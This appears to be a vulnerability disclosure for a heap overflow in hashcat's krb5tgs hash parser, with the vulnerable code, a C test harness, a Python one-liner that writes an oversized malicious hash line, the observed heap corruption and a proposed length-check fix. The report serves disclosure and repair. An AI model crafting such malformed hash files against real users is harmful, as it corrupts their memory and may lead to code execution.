**krb5tgs parser (modes 13100 / 35300)** — unbounded `account_info` token length copied into a 2048-byte `account_info` array.
krb5tgs hash parser heap overflow (modes 13100, 35300)
| Field | Value |
|---|---|
| Title | krb5tgs hash parser copies attacker-controlled account_info token without an upper bound, overflowing a fixed heap buffer |
| Vulnerability class | Heap buffer overflow / out-of-bounds write (CWE-122) |
| Affected files / lines | src/modules/module_13100.c:133-156 (length derivation), src/modules/module_13100.c:245 (overflowing copy). Same pattern in src/modules/module_35300.c:159-244. |
Description
The krb5tgs hash format 1 line is parsed as:
$krb5tgs$23$*<user>$<realm>$<spn>*<checksum-hex>$<edata2-hex>In module_hash_decode, the parser computes account_info_len as the distance from the first * after $23$ to the closing *$, then sets token.len[2] = account_info_len with TOKEN_ATTR_FIXED_LENGTH but no TOKEN_ATTR_VERIFY_LENGTH and no len_max:
const char *account_info_start = line_buf + 12;
char *account_info_stop = strchr (account_info_start + 1, '*');
...
const int account_info_len = account_info_stop - account_info_start;
...
token.len[2] = account_info_len;
token.attr[2] = TOKEN_ATTR_FIXED_LENGTH;After tokenization succeeds, the parser copies the whole token into a 2048-byte account_info array:
memcpy (krb5tgs->account_info, token.buf[2], token.len[2]);Because account_info_len is derived directly from attacker input and is not capped, a hash line with a multi-kilobyte user/realm/spn field writes past the end of the buffer.
Source-to-sink path
attacker-controlled hash file line
-> hc_fgetl() / hashes.c line reader (HCBUFSIZ_LARGE = 16 MB)
-> module_hash_decode() in module_13100.so
-> strchr() computes account_info_len from input
-> input_tokenizer() accepts the fixed-length token
-> memcpy() at module_13100.c:245 writes token.len[2] bytes into krb5tgs->account_info[512]Preconditions
- Attacker can supply or modify a krb5tgs hash file processed by hashcat (
-m 13100or-m 35300). - No special privileges required; the victim simply runs hashcat on the file.
Reproduction
- Build the affected module from the checkout:
cd /home/test/hashcat
make hashcat
make modules/module_13100.so- Build the harness:
cat > /tmp/harness_13100.c <<'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
typedef unsigned long long (*size_fn)(const void*,const void*,const void*);
typedef int (*decode_fn)(const void*, void*, void*, void*, void*, void*, const char*, const int);
int main(int argc, char **argv) {
if (argc < 2) return 1;
void *h = dlopen("/home/test/hashcat/modules/module_13100.so", RTLD_NOW);
size_fn es = (size_fn)dlsym(h, "module_esalt_size");
decode_fn fn = (decode_fn)dlsym(h, "module_hash_decode");
unsigned long long sz = es(NULL,NULL,NULL);
unsigned char *esalt = malloc(sz + 256);
memset(esalt, 0x41, sz + 256);
int rc = fn(NULL, (unsigned char[64]){0}, (unsigned char[8192]){0}, esalt, NULL, NULL, argv[1], strlen(argv[1]));
printf("esalt_size=%llu rc=%d\n", sz, rc);
printf("offset2048=0x%02x%02x%02x%02x tail=0x%02x%02x%02x%02x\n",
esalt[2048], esalt[2049], esalt[2050], esalt[2051],
esalt[sz], esalt[sz+1], esalt[sz+2], esalt[sz+3]);
free(esalt); dlclose(h);
return 0;
}
EOF
gcc -o /tmp/harness_13100 /tmp/harness_13100.c -ldl- Run with a benign short field (no overflow):
/tmp/harness_13100 '$krb5tgs$23$*u$r$s*$12345678901234567890123456789012$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
# esalt_size=22552 rc=0
# offset2048=0x12345678 tail=0x41414141- Run with a 25,000-byte
account_infofield:
python3 -c "acc='A'*25000; print(f'\$krb5tgs\$23\$*{acc}*\$12345678901234567890123456789012\$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')" > /tmp/krb5tgs_overflow.txt
/tmp/harness_13100 "$(cat /tmp/krb5tgs_overflow.txt)"
# esalt_size=22552 rc=0
# free(): invalid next size (normal)The glibc heap check fails because the oversized memcpy corrupted heap metadata. A shorter (3,000-byte) field already overwrites the checksum field at offset 2048.
Impact
A malicious krb5tgs hash file can corrupt heap metadata and adjacent objects. On many systems this leads to a crash; with further shaping it can become arbitrary code execution in the context of the user running hashcat.
Why this is not expected behavior
Hashcat is expected to reject malformed hash lines. The parser has length checks for other fields (edata2 max 40960, format-3 spn max 2048), but the format-1 account_info chunk has no upper bound, making the overflow an unintended parsing failure rather than a documented limit.
Possible Fix (but this will limit 4096, which is also a valid option for pkinit_dh_min_bits in krb5_conf)
Bound the format-1 account_info token with the existing length-verification mechanism before it reaches memcpy. In src/modules/module_13100.c (and the identical block in src/modules/module_35300.c) change the token definition from:
// user$realm$spn
token.len[2] = account_info_len;
token.attr[2] = TOKEN_ATTR_FIXED_LENGTH;to:
// user$realm$spn
token.len[2] = account_info_len;
token.len_min[2] = 0;
token.len_max[2] = sizeof (krb5tgs->account_info); // 2048
token.attr[2] = TOKEN_ATTR_FIXED_LENGTH
| TOKEN_ATTR_VERIFY_LENGTH;input_tokenizer() will then reject any format-1 line whose *user$realm$spn* chunk exceeds the 2048-byte account_info buffer, returning PARSER_TOKEN_LENGTH instead of letting module_hash_decode() overflow the heap allocation.
Source: hashcat/hashcat